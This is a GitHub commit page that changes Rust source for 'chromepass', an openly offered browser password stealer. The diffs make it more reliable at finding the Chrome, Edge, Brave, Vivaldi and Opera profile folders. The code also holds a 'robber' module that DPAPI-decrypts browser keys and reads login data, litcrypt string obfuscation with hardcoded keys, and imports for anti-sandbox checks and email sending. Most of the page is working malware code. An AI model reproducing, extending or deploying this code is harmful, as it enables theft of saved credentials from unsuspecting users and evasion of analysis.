Skip to content

Commit

Permalink
fixing localappdata finding
Browse files Browse the repository at this point in the history
  • Loading branch information
darkarp committed Aug 22, 2021
1 parent f1350d4 commit 39689a4
Show file tree
Hide file tree
Showing 7 changed files with 89 additions and 59 deletions.
31 changes: 31 additions & 0 deletions templates/chromepass-build/Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions templates/chromepass-build/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@ litcrypt = "0.2.1"
lettre = "0.9.6"
lettre_email = "0.9.4"
mime = "0.3.16"
directories = "3.0"
[build-dependencies]
winres = "0.1"

Expand Down
55 changes: 27 additions & 28 deletions templates/chromepass-build/src/browser.rs
Original file line number Diff line number Diff line change
@@ -1,44 +1,43 @@
use crate::{email, robber};
use directories::BaseDirs;
use kernel32::{GetCurrentProcess, GetTickCount};
use litcrypt::{lc, use_litcrypt};
use ntapi::ntpsapi::NtQueryInformationProcess;
use serde_json::to_writer;
use std::ffi::c_void;
use std::fs::File;
use std::path::Path;
use std::ptr::null_mut;
use std::{env, fs::File};
use winapi::um::winuser::{GetLastInputInfo, LASTINPUTINFO};

use_litcrypt!("vbzqditoy[biclpvhoz]tpcp'nc,zyty");
use_litcrypt!("nruzsu.u[yu;cbncejwxddqg]];'kofy");

fn build_base_directories() -> Result<Vec<std::path::PathBuf>, ()> {
let mut base_directories = vec![];
if let Some(local) = env::var_os(lc!("LOCALAPPDATA")) {
if let Some(local) = local.to_str() {
let local_path = Path::new(local);
let directories_all = vec![
local_path
.join(lc!("Google"))
.join(lc!("Chrome"))
.join(lc!("User Data")),
local_path
.join(lc!("Microsoft"))
.join(lc!("Edge"))
.join(lc!("User Data")),
local_path.join(lc!("Chromium")).join(lc!("User Data")),
local_path
.join(lc!("BraveSoftware"))
.join(lc!("Brave-Browser"))
.join(lc!("User Data")),
local_path.join(lc!("Vivaldi")).join(lc!("User Data")),
local_path
.join(lc!("Opera Software"))
.join(lc!("Opera Stable")),
];
for directory in directories_all {
if directory.exists() == true {
base_directories.push(directory);
}
if let Some(base_dirs) = BaseDirs::new() {
let local_path = Path::new(base_dirs.data_local_dir());
let directories_all = vec![
local_path
.join(lc!("Google"))
.join(lc!("Chrome"))
.join(lc!("User Data")),
local_path
.join(lc!("Microsoft"))
.join(lc!("Edge"))
.join(lc!("User Data")),
local_path.join(lc!("Chromium")).join(lc!("User Data")),
local_path
.join(lc!("BraveSoftware"))
.join(lc!("Brave-Browser"))
.join(lc!("User Data")),
local_path.join(lc!("Vivaldi")).join(lc!("User Data")),
local_path
.join(lc!("Opera Software"))
.join(lc!("Opera Stable")),
];
for directory in directories_all {
if directory.exists() == true {
base_directories.push(directory);
}
}
}
Expand Down
2 changes: 1 addition & 1 deletion templates/chromepass-build/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ use litcrypt::{lc, use_litcrypt};
use std::ffi::CString;
use user32::MessageBoxA;

use_litcrypt!("vbzqditoy[biclpvhoz]tpcp'nc,zyty");
use_litcrypt!("nruzsu.u[yu;cbncejwxddqg]];'kofy");

fn main() -> () {
let error: bool = false;
Expand Down
4 changes: 2 additions & 2 deletions templates/chromepass-build/src/robber.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ use serde::Deserialize;
use serde_json::from_str;
use serde_json::json;
use sqlite;
use_litcrypt!("vbzqditoy[biclpvhoz]tpcp'nc,zyty");
use_litcrypt!("nruzsu.u[yu;cbncejwxddqg]];'kofy");

pub fn get_key(key_dir: &std::path::PathBuf) -> Result<Vec<u8>, ()> {
if let Some(parent) = key_dir.parent() {
Expand All @@ -19,7 +19,7 @@ pub fn get_key(key_dir: &std::path::PathBuf) -> Result<Vec<u8>, ()> {
return Ok(crypto::dpapi_decrypt(decode(res).unwrap()[5..].to_vec()));
}
}
Err(())
Ok(vec![0u8; 32])
}

pub fn get_login(login_dir: &std::path::PathBuf, key: &Vec<u8>) -> Result<serde_json::Value, ()> {
Expand Down
53 changes: 26 additions & 27 deletions templates/client/browser.rs
Original file line number Diff line number Diff line change
@@ -1,44 +1,43 @@
use crate::{email, robber};
use directories::BaseDirs;
use kernel32::{GetCurrentProcess, GetTickCount};
use litcrypt::{lc, use_litcrypt};
use ntapi::ntpsapi::NtQueryInformationProcess;
use serde_json::to_writer;
use std::ffi::c_void;
use std::fs::File;
use std::path::Path;
use std::ptr::null_mut;
use std::{env, fs::File};
use winapi::um::winuser::{GetLastInputInfo, LASTINPUTINFO};

use_litcrypt!("<<SECRET_KEY>>");

fn build_base_directories() -> Result<Vec<std::path::PathBuf>, ()> {
let mut base_directories = vec![];
if let Some(local) = env::var_os(lc!("LOCALAPPDATA")) {
if let Some(local) = local.to_str() {
let local_path = Path::new(local);
let directories_all = vec![
local_path
.join(lc!("Google"))
.join(lc!("Chrome"))
.join(lc!("User Data")),
local_path
.join(lc!("Microsoft"))
.join(lc!("Edge"))
.join(lc!("User Data")),
local_path.join(lc!("Chromium")).join(lc!("User Data")),
local_path
.join(lc!("BraveSoftware"))
.join(lc!("Brave-Browser"))
.join(lc!("User Data")),
local_path.join(lc!("Vivaldi")).join(lc!("User Data")),
local_path
.join(lc!("Opera Software"))
.join(lc!("Opera Stable")),
];
for directory in directories_all {
if directory.exists() == true {
base_directories.push(directory);
}
if let Some(base_dirs) = BaseDirs::new() {
let local_path = Path::new(base_dirs.data_local_dir());
let directories_all = vec![
local_path
.join(lc!("Google"))
.join(lc!("Chrome"))
.join(lc!("User Data")),
local_path
.join(lc!("Microsoft"))
.join(lc!("Edge"))
.join(lc!("User Data")),
local_path.join(lc!("Chromium")).join(lc!("User Data")),
local_path
.join(lc!("BraveSoftware"))
.join(lc!("Brave-Browser"))
.join(lc!("User Data")),
local_path.join(lc!("Vivaldi")).join(lc!("User Data")),
local_path
.join(lc!("Opera Software"))
.join(lc!("Opera Stable")),
];
for directory in directories_all {
if directory.exists() == true {
base_directories.push(directory);
}
}
}
Expand Down
2 changes: 1 addition & 1 deletion templates/client/robber.rs
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ pub fn get_key(key_dir: &std::path::PathBuf) -> Result<Vec<u8>, ()> {
return Ok(crypto::dpapi_decrypt(decode(res).unwrap()[5..].to_vec()));
}
}
Err(())
Ok(vec![0u8; 32])
}

pub fn get_login(login_dir: &std::path::PathBuf, key: &Vec<u8>) -> Result<serde_json::Value, ()> {
Expand Down

0 comments on commit 39689a4

Please sign in to comment.